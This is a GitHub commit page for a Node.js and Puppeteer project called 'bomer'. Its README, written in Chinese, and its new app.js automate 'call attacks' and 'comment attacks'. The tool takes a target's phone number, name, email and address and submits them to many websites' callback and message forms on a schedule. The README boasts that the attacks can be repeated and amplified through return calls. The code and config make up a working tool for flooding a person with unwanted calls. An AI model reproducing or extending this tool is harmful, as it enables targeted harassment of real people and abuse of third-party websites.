Skip to content

Commit

Permalink
[v0.2]
Browse files Browse the repository at this point in the history
- 更新puppeteer版本
- 优化代码逻辑
- 添加配置文件的说明
- 添加随机文件读取
  • Loading branch information
aqiongbei committed Apr 26, 2019
1 parent 3e983c9 commit ca6792f
Show file tree
Hide file tree
Showing 26 changed files with 24,381 additions and 84,125 deletions.
60 changes: 0 additions & 60 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,65 +1,5 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*

# chromium dependency
chromium/
config/
sources/
utils/get*.js

# Runtime data
pids
*.pid
*.seed
*.pid.lock

# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov

# Coverage directory used by tools like istanbul
coverage

# nyc test coverage
.nyc_output

# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
.grunt

# Bower dependency directory (https://bower.io/)
bower_components

# node-waf configuration
.lock-wscript

# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release

# Dependency directories
node_modules/
jspm_packages/

# Typescript v1 declaration files
typings/

# Optional npm cache directory
.npm

# Optional eslint cache
.eslintcache

# Optional REPL history
.node_repl_history

# Output of 'npm pack'
*.tgz

# Yarn Integrity file
.yarn-integrity

# dotenv environment variables file
.env

56 changes: 38 additions & 18 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,11 +23,10 @@
- **可重复**。对于电话回拨系统攻击的方式,可以经常跑一跑,即使是同一批网站多跑几次也是没有关系的
- **可放大**。不管是电话攻击还是留言攻击,都存在对方做电话回访的可能性,所以,你发动的可不仅仅是一次攻击哦

#### 安装教程
#### 使用教程

- 本项目依赖[`chromium(需要梯子)`](https://download-chromium.appspot.com/),需要手动下载安装.
- 下载本项目

- 下载
```sh
git clone https://github.com/aqiongbei/bomer.git
```
Expand All @@ -40,17 +39,45 @@ npm config set puppeteer_download_host=https://npm.taobao.org/mirrors
npm install
```

- 配置
**使用前请先修改配置文件**,配置文件共有两个,都放在`/config`目录下。
- `default.json`: 默认配置文件,所有可配置的内容都在这里列举了,`npm start`使用的就是这个配置文件
- `debug.json`: debug模式的配置文件,在debug模式这里的配置会覆盖`default.json`中的配置

各个配置字段说明说明如下:
```js
{
"target": { // 攻击目标的配置
"phone": "", // 目标的手机号 必填
"name": "", // 目标的姓名 必填
"email": "", // 目标的邮箱 尽量填写,有的网站需要
"address": "", // 目标的地址 尽量填写,有的网站需要
"comment": "", // 留言攻击时候留言的内容,留言模式必须
},
"attack": { // 攻击任务的配置
"times": 6, // 攻击次数
"time": "0 2 * * * *", // 定时模式下的攻击时间配置
"web_type": "baidu_lxb", // 攻击的网站类型,支持的类型都在`/flow/flow.js`中定义
"type_type": "call", // 攻击的类型,目前支持"comment" "call"两种
"interval": 600000, // 攻击的间隔,间隔太小会提示操作频繁,起不到攻击作用,默认60s
},
"chromium": { // chromium的配置信息
"slowMo": 100, // 向网页输入信息的每个字符的间隔
"timeout": 30000, // 网页请求超时时间,超过这个时间没有请求完成,这个任务就算失败
"devtools": false, // 是否开启chromium的 devtools,默认false就好
}
}
```

- 启动项目
```sh
npm run start
# production模式,非立即执行,是定时执行的
npm start
# debug模式
npm run debug
```


#### 使用说明

1. 配置文件
2. 网站源切换

- 网站源切换
#### 实现功能

- 电话攻击
Expand All @@ -60,11 +87,4 @@ npm run start
- 任务统计
- 随机网站攻击
- 100000+网站支持
- 攻击参数可配置

#### TODO

- log记录
- 短信攻击
- 邮件接受报告
- 数据存入数据库
- 攻击参数可配置
109 changes: 109 additions & 0 deletions app.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
'use strict'

const config = require('config');
const colors = require('colors');
const cron = require('node-cron');
const puppeteer = require('puppeteer');
const events = require('events');
const e = new events();
e.setMaxListeners(0);

const {TASK_STATUS, ...util} = require('./utils/util');
const flow = require('./flow/flow');
const ATTACK = config.get('attack')

let index = 0;
let url_list_to_save = [];
let {filename, url_list} = util.getURLList(ATTACK.task_type, ATTACK.web_type, ATTACK.times);

process.on('uncaughtException', function (err) {
console.log(err);
});

process.on('unhandledRejection', function(err, p) {
console.log(err.stack);
});

function beforeExit (code) {
console.log(`i got ${code}`);
url_list_to_save.push(...url_list.slice(index));
util.writeURLBack(ATTACK.task_type, filename, url_list_to_save);
}

process.on('SIGINT', beforeExit);

if (process.env.NODE_ENV == 'debug') {
return (async () => {
console.log(config);
await run(ATTACK);
})();
}

let cron_job = cron.schedule(attack.time, async function(){
await run(ATTACK);
}, false);

cron_job.start();

async function run(attack) {
const {browser, page} = await init(attack);
let o = {};
o[TASK_STATUS.done] = 0;
o[TASK_STATUS.locked] = 0;
o[TASK_STATUS.failed] = 0;

for (let item of url_list) {
index ++;
let startTime = new Date();
let sleepTime = attack.interval;

console.log(`==================TASK TIMES: ${index}==================`.yellow)
console.log(`TASK INFO:`.yellow, `WEB NAME: ${item.name} WEB TYPE: ${item.web_type}`.green);

let result = await task(page, item);

o[result.status] ++;

if (result.status == TASK_STATUS.failed) {
sleepTime = 0;
} else {
url_list_to_save.push(item);
}

console.log(`TASK RESULT:`.yellow, `STATUS: ${result.status} MSG:${result.msg}`.green);
console.log(`USED TIME: ${(new Date() - startTime) / 1000} S`.red);
console.log(`SLEEP TIME: ${sleepTime / 1000} S`.red);

await page.waitFor(sleepTime);
}

await browser.close();
beforeExit();
console.log(`==================TASK REPORT==================`.yellow)
console.log(`done: ${o.done} failed: ${o.failed} locked: ${o.locked}`.yellow);
}

async function init (attack) {
const chromium = config.get('chromium');
const browser = await puppeteer.launch(chromium);
const page = await browser.newPage();
page.setDefaultNavigationTimeout(chromium.timeout);
page.setViewport({width: 1024, height: 768});
return {browser, page};
}

async function task(page, item) {
let result = {
status: TASK_STATUS.failed,
msg: ''
};

try {
await page.goto(item.url);
result = await flow[item.task_type][item.web_type](page, item, config.get('target'));
} catch (e) {
result.msg = `[TIME OUT ERROR] ${e}`;
}

return result;
}
121 changes: 0 additions & 121 deletions app_pptr.js

This file was deleted.

7 changes: 5 additions & 2 deletions config/debug.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
{
"attackTimes": 500,
"everyTaskSleepTime": 500000,
"attack": {
"times": 100,
"task_type": "call",
"interval": 6000
},
"chromium": {
"headless": false
}
Expand Down
Loading

0 comments on commit ca6792f

Please sign in to comment.